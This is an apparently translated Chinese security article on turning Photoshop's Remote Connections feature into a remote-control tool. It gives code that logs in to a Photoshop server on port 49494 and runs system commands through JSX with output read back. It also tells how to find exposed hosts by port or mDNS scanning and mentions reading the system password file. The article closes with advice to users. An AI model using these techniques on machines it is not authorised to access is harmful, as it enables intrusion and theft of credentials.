如何把Photoshop改造成遠端控制工具(RAT)來利用
作者在本文中通過對Photoshop遠端連線功能的改造利用,最終實現了對開啟遠端連線功能的Photoshop端作業系統的接管控制。
Photoshop遠端連線功能說明
Photoshop中有一個名為遠端連線(Remote Connections)的可選功能,該功能預設是關閉的,但如果你啟用該功能並設定密碼後,任何知曉密碼的人就可以遠端接入到你電腦的Photoshop服務端。如下開啟畫面:
正常使用者利用該功能,來實時預覽不同PS檔案在iPad或手機等遠端裝置上的實際設計外觀樣式,該遠端預覽功能需要手機等移動終端安裝如PS Playon和Skala Preview等第三方APP來實現連線。如Skala Preview:
該遠端連線功能基於Photoshop的JSX指令碼例項。JSX屬Photoshop的巨集指令碼,由Javascript語言編寫,以實現Photoshop的圖片載入、顏色渲染、向量繪製和匯出等功能,可點此檢視JSX的相關編寫規範和可用介面。
另外,Adobe提供了一個開源庫核心生成器來建立該遠端連線,所以如果您對其中的協議細節有興趣,也可點此檢視。當開啟遠端連線後,Photoshop將會對49494埠進行監聽:
$ netstat -an | grep 49494
tcp4 0 0 *.49494 *.* LISTEN
以下程式碼為與遠端Photoshop服務端用來進行身份驗證互動的程式碼:
const core = require("generator-core/lib/generator") const options = { host: '192.168.1.123', password: 'password', port: 49494 } const generator = core.createGenerator() generator.start(options).done(() => { generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown()) })
對此,我曾嘗試利用以下app.system方法來呼叫系統命令:
alert(app.system(“id”))
但遺憾的是其返回值卻是一些退出狀態碼,不是標準的命令輸出內容。經過研究,我發現Photoshop的JSX指令碼具備系統訪問介面,所以,這樣一來,我們可以把其標準輸出內容(stdout)重定向到一個臨時檔案中,之後,就可以對該檔案進行讀取。如下所示:
var tmpFile = Folder.temp + 'output.txt';
app.system("id > " + tmpFile);
var stdout = new File(${tmpFile});
stdout.open('r');
stdout.encoding = "UTF-8";
var content = stdout.read();
stdout.close();
stdout.remove();
alert(content);
Photoshop RAT 改造成型
因此,我可以在上述身份驗證程式碼中作出如下修改,通過使用者名稱密碼方式登入遠端Photoshop服務端,之後,再利用JSX指令碼介面間接執行Photoshop服務端系統命令,實現對遠端Photoshop服務端系統的直接接管控制。以下為exploit程式碼:
exploit.js:
成功利用後,讀取遠端Photoshop服務端作業系統密碼:
影響分析
在內網中,你可以通過49494埠掃描或組播DNS”_photoshopserver.tcp”抓包來探測一些開啟遠端連線功能的Photoshop服務端,之後利用以上exploit.js進行把玩。
該功能的此種RAT方式利用,前提必須知曉對方Photoshop服務遠端連線密碼,因此並不屬於漏洞範疇。基於此,請謹慎開啟你的Photoshop遠端連線功能,或嚴格儲存你的Photoshop遠端連線密碼,否則,你的作業系統有可能被不懷好意之人遠端控制。